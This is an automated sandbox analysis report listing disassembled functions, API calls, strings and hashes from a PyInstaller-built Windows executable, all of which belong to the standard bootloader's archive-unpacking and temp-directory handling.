Failed to load splash screen resources!, xrefs: 00007FF7C2663E85
MEI, xrefs: 00007FF7C2663933
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF7C2663B32
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF7C2663EBB
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF7C26639DE
_PYI_ARCHIVE_FILE, xrefs: 00007FF7C26638D2, 00007FF7C26639FF
bye-runtime-tmpdir, xrefs: 00007FF7C2663B68
Failed to convert DLL search path!, xrefs: 00007FF7C2663DDC
Failed to remove temporary directory: %s, xrefs: 00007FF7C2663FC3
VCRUNTIME140.dll, xrefs: 00007FF7C2663DB1
pyi-python-flag, xrefs: 00007FF7C2663AD6
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF7C2663EA6
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF7C2663D35
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF7C2663BE8
Could not create temporary directory!, xrefs: 00007FF7C2663CBF
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF7C2663E0A
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF7C2663882, 00007FF7C26638AF
pkg, xrefs: 00007FF7C26639BE
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF7C2663A17, 00007FF7C2663A2F, 00007FF7C2663A9B
pyi-contents-directory, xrefs: 00007FF7C2663B8D
Py_GIL_DISABLED, xrefs: 00007FF7C2663AF4
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF7C2663C61
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF7C2663971

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: 230e5f2fbe18b706386c2e6c5de042c78cdf1bdf29ac743ce162c0a9040f007d
Instruction ID: a126fb637c7a3bb1d0b2850f1203ae32a2a722ba97f7b845208a13040d220de5
Opcode Fuzzy Hash: 230e5f2fbe18b706386c2e6c5de042c78cdf1bdf29ac743ce162c0a9040f007d
Instruction Fuzzy Hash: 13328021A0868291FB14BF2194543B9A673AF55BA4FC44032DACD63BD6DFBCE568C334

Function 00007FF7C26869D4 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7C2686708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2686749
Part of subcall function 00007FF7C2686708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C26867C7
Part of subcall function 00007FF7C2686708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C2686818

CreateFileW.KERNELBASE ref: 00007FF7C2686ADA
CreateFileW.KERNEL32 ref: 00007FF7C2686B2A
GetLastError.KERNEL32 ref: 00007FF7C2686B5A
GetFileType.KERNELBASE ref: 00007FF7C2686B6F
GetLastError.KERNEL32 ref: 00007FF7C2686B79
CloseHandle.KERNEL32 ref: 00007FF7C2686BAC
CloseHandle.KERNEL32 ref: 00007FF7C2686D0F
CreateFileW.KERNEL32 ref: 00007FF7C2686D44
GetLastError.KERNEL32 ref: 00007FF7C2686D53

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction ID: bf498a22dbfba0db295f622562c6cd6d45920bef7404c585b36de946709df130
Opcode Fuzzy Hash: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction Fuzzy Hash: 7CC1C232B28A41C5EB10EFA5D4906AC7762F749BA8B414235DFAEA7BD4CF78D451C320

Function 00007FF7C26683B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF7C2668B09,00007FF7C2663FA5), ref: 00007FF7C266841B
RemoveDirectoryW.KERNEL32(?,00007FF7C2668B09,00007FF7C2663FA5), ref: 00007FF7C266849E
DeleteFileW.KERNELBASE(?,00007FF7C2668B09,00007FF7C2663FA5), ref: 00007FF7C26684BD
FindNextFileW.KERNELBASE(?,00007FF7C2668B09,00007FF7C2663FA5), ref: 00007FF7C26684CB
FindClose.KERNEL32(?,00007FF7C2668B09,00007FF7C2663FA5), ref: 00007FF7C26684DC
RemoveDirectoryW.KERNELBASE(?,00007FF7C2668B09,00007FF7C2663FA5), ref: 00007FF7C26684E5

Strings

%s\*, xrefs: 00007FF7C26683E2

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
Instruction ID: f2a2d82894e5000b1a688513010d50cabaf49ddadbcbdda338003698ae722fa1
Opcode Fuzzy Hash: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
Instruction Fuzzy Hash: 33415F21A0CA4285EA20BF34E4445B9A372FB94764FC00232D5DDA6F95DFBCD54AC734

Function 00007FF7C26692F0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF7C2669323
FindClose.KERNELBASE ref: 00007FF7C2669332

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction ID: 26e874244b118fc7e52b1032bab19fe5f4e87fb5eca4fdb226c006e1b1e6809b
Opcode Fuzzy Hash: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction Fuzzy Hash: 51F0A932619741C6F7609F60B448776A361AB44334F480235D9ED12BD4DF7CD058C724

Function 00007FF7C2680938 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 10bf4b1f0472125ada9b1d6b923a92a2d49e498fcbab652d34985a7b27debbff
Instruction ID: 537833f7789efe433464049f8c43aa0ce690b3baae998321ba9228ea96b624f4
Opcode Fuzzy Hash: 10bf4b1f0472125ada9b1d6b923a92a2d49e498fcbab652d34985a7b27debbff
Instruction Fuzzy Hash: 0D026B21A1D642C0FA65BF12A405279E692AF45FB0FC58A34DDDD66BD2DFBDA801C330

Function 00007FF7C2661950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7C2667F80: _fread_nolock.LIBCMT ref: 00007FF7C266802A

_fread_nolock.LIBCMT ref: 00007FF7C2661A1B

Part of subcall function 00007FF7C2662910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF7C2661B6A), ref: 00007FF7C266295E

Strings

Could not allocate buffer for TOC!, xrefs: 00007FF7C2661B1B
MEI, xrefs: 00007FF7C2661991
fseek, xrefs: 00007FF7C26619F5
fread, xrefs: 00007FF7C2661A32, 00007FF7C2661B5C
calloc, xrefs: 00007FF7C2661A68
Failed to read cookie!, xrefs: 00007FF7C2661A2B
malloc, xrefs: 00007FF7C2661B22
Could not read full TOC!, xrefs: 00007FF7C2661B55
Failed to seek to cookie position!, xrefs: 00007FF7C26619EE
Could not allocate memory for archive structure!, xrefs: 00007FF7C2661A61
Error on file., xrefs: 00007FF7C2661B8D

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 7f967e8bf4bd65ccd330245f6cf3beef5728b9bf280203bc786e936cb306ff0d
Instruction ID: 52920b5d223a19b39f35807706df03c52955b73872152158b9657cff46872b77
Opcode Fuzzy Hash: 7f967e8bf4bd65ccd330245f6cf3beef5728b9bf280203bc786e936cb306ff0d
Instruction Fuzzy Hash: EF818071A08A82C5E720BF28D0442B9A3B2EB847A4F844431D9CDA7F85DEBCE545C774

Function 00007FF7C2661600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to write data chunk!, xrefs: 00007FF7C26617CA
fseek, xrefs: 00007FF7C26616E1
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF7C2661742
Failed to create symbolic link %s!, xrefs: 00007FF7C2661622
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7C26617DF
fread, xrefs: 00007FF7C26617E6
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7C26616DA
Failed to extract %s: failed to open target file!, xrefs: 00007FF7C266165C
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7C26616A2
malloc, xrefs: 00007FF7C2661749
fopen, xrefs: 00007FF7C2661663
fwrite, xrefs: 00007FF7C26617D1

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: 607fb3d22e1abd3d0ea9d943795872ea3e60594e8e3d1f768179a624c21a25df
Instruction ID: 7127c338d8a0e7dddd06712ffc889ba19b6cb79ba9e7794e021fcc1681b29202
Opcode Fuzzy Hash: 607fb3d22e1abd3d0ea9d943795872ea3e60594e8e3d1f768179a624c21a25df
Instruction Fuzzy Hash: C751AE61B08A4392EA10BF25A4101A9A362BF85BB4FC44531EECC67F92DFBCE555C374

Function 00007FF7C2668850 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF7C2663CBB), ref: 00007FF7C26688F4
GetCurrentProcessId.KERNEL32(?,00000000,00007FF7C2663CBB), ref: 00007FF7C26688FA
CreateDirectoryW.KERNELBASE(?,00000000,00007FF7C2663CBB), ref: 00007FF7C266893C

Part of subcall function 00007FF7C2668A20: GetEnvironmentVariableW.KERNEL32(00007FF7C266388E), ref: 00007FF7C2668A57
Part of subcall function 00007FF7C2668A20: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7C2668A79

Part of subcall function 00007FF7C26782A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C26782C1

Part of subcall function 00007FF7C2662810: MessageBoxW.USER32 ref: 00007FF7C26628EA

Strings

TMP, xrefs: 00007FF7C26688B2
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF7C266896E
TMP, xrefs: 00007FF7C266888C, 00007FF7C2668993
_MEI%d, xrefs: 00007FF7C2668902
LOADER: failed to set the TMP environment variable., xrefs: 00007FF7C26688CC

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: 4e349524156a31c65ddba45994ef87c37bf84ce1b0e485ec316371ea64373d4f
Instruction ID: b98af2371c34f127faefef7cd65751ae17b00dd306a37cea4fda17f4c67935cc
Opcode Fuzzy Hash: 4e349524156a31c65ddba45994ef87c37bf84ce1b0e485ec316371ea64373d4f
Instruction Fuzzy Hash: E1418411B19A4280EA10FF35A8592B992B3AF95BA0FC04131ED8D67F96DEBCE504C375

Function 00007FF7C2661210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF7C2661276
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF7C26612BA
1.3.1, xrefs: 00007FF7C2661249
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF7C26612EF
malloc, xrefs: 00007FF7C26612C1, 00007FF7C26612F6
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF7C266141E

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 15fc9c742c9fb12a8c4ab664e8e5c311509e27342d3a39e207e1bde7a43e7c65
Instruction ID: 013edc6fe4290a9722309ce62581d231d2c44df3182eafa82d29c95cdecacf6e
Opcode Fuzzy Hash: 15fc9c742c9fb12a8c4ab664e8e5c311509e27342d3a39e207e1bde7a43e7c65
Instruction Fuzzy Hash: F151B622A08A4281EA60BF15A4503B9A2A2FF85BA4FC44135ED8D67FD5DFBCD541C734

Function 00007FF7C267ED80 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF7C267F11A,?,?,-00000018,00007FF7C267ADC3,?,?,?,00007FF7C267ACBA,?,?,?,00007FF7C2675FAE), ref: 00007FF7C267EEFC
GetProcAddress.KERNEL32(?,?,?,00007FF7C267F11A,?,?,-00000018,00007FF7C267ADC3,?,?,?,00007FF7C267ACBA,?,?,?,00007FF7C2675FAE), ref: 00007FF7C267EF08

Strings

api-ms-, xrefs: 00007FF7C267EE46
ext-ms-, xrefs: 00007FF7C267EE59

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
Instruction ID: 1d3a926de201ee0d4d687f0001a63605ba65e79d33c843646ef8ef2c80162d34
Opcode Fuzzy Hash: 2820b76ab0802fc58bac5aaef12ed6f6fffcf0c29b30edae647068643d5e49cf
Instruction Fuzzy Hash: A141C321B19A0281FA15FF16A804575A392BF44BB0FD84539DD9DA7B94EFBCE408C370

Function 00007FF7C26636B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF7C2663804), ref: 00007FF7C26636E1
GetLastError.KERNEL32(?,00007FF7C2663804), ref: 00007FF7C26636EB

Part of subcall function 00007FF7C2662C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF7C2663706,?,00007FF7C2663804), ref: 00007FF7C2662C9E
Part of subcall function 00007FF7C2662C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF7C2663706,?,00007FF7C2663804), ref: 00007FF7C2662D63
Part of subcall function 00007FF7C2662C50: MessageBoxW.USER32 ref: 00007FF7C2662D99

Strings

Failed to obtain executable path., xrefs: 00007FF7C26636F3
Failed to convert executable path to UTF-8., xrefs: 00007FF7C2663790
Failed to resolve full path to executable %ls., xrefs: 00007FF7C2663739
GetModuleFileNameW, xrefs: 00007FF7C26636FA
\\?\, xrefs: 00007FF7C266375A

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction ID: 4133b74280d9d2b8651899db4c27cb38a9961711c748b40e9f9c750c72edb290
Opcode Fuzzy Hash: 6d8fde842cedad8fbf80b9c4aa3ce336361ac9392ce2c79ae57a11131fda94fc
Instruction Fuzzy Hash: 70217461B1864281FA20BF20E8543B59262BF94768FC00136D9DDA3FD5EEBCE515C338

Function 00007FF7C267BACC Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7C267BEF9

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 07c5dcf76cbe3182a9f46e495b791f87a2923bbe72b553d2f04cfdf557d03735
Instruction ID: 50657baf3df4cdfbdea6d67b2f69fd4d24220e9b3d3ca57c05f04a0d927bd32c
Opcode Fuzzy Hash: 07c5dcf76cbe3182a9f46e495b791f87a2923bbe72b553d2f04cfdf557d03735
Instruction Fuzzy Hash: 16C1832290868681E651BF25A4442BDE762EB81FA0FD54131EACE23BD1DFFCE855C770

Function 00007FF7C2668760 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF7C2668780
OpenProcessToken.ADVAPI32 ref: 00007FF7C2668793
GetTokenInformation.KERNELBASE ref: 00007FF7C26687B8
GetLastError.KERNEL32 ref: 00007FF7C26687C2
GetTokenInformation.KERNELBASE ref: 00007FF7C2668802
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF7C266881E
CloseHandle.KERNEL32 ref: 00007FF7C2668836

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: ccba17952e233d5b695068aab9421341a55ed3ebff0a2a14ee99ad80d8ea5500
Instruction ID: 3c2436c4bfcfe2d5826adfb53a900b1cea3a4164123b4c81f2bbafaf3c3eaf20
Opcode Fuzzy Hash: ccba17952e233d5b695068aab9421341a55ed3ebff0a2a14ee99ad80d8ea5500
Instruction Fuzzy Hash: 17212621A0864281DA10AF65B454139E7B2FB857B0F900235D6ED53FE5DFBCD445C764

Function 00007FF7C26690E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

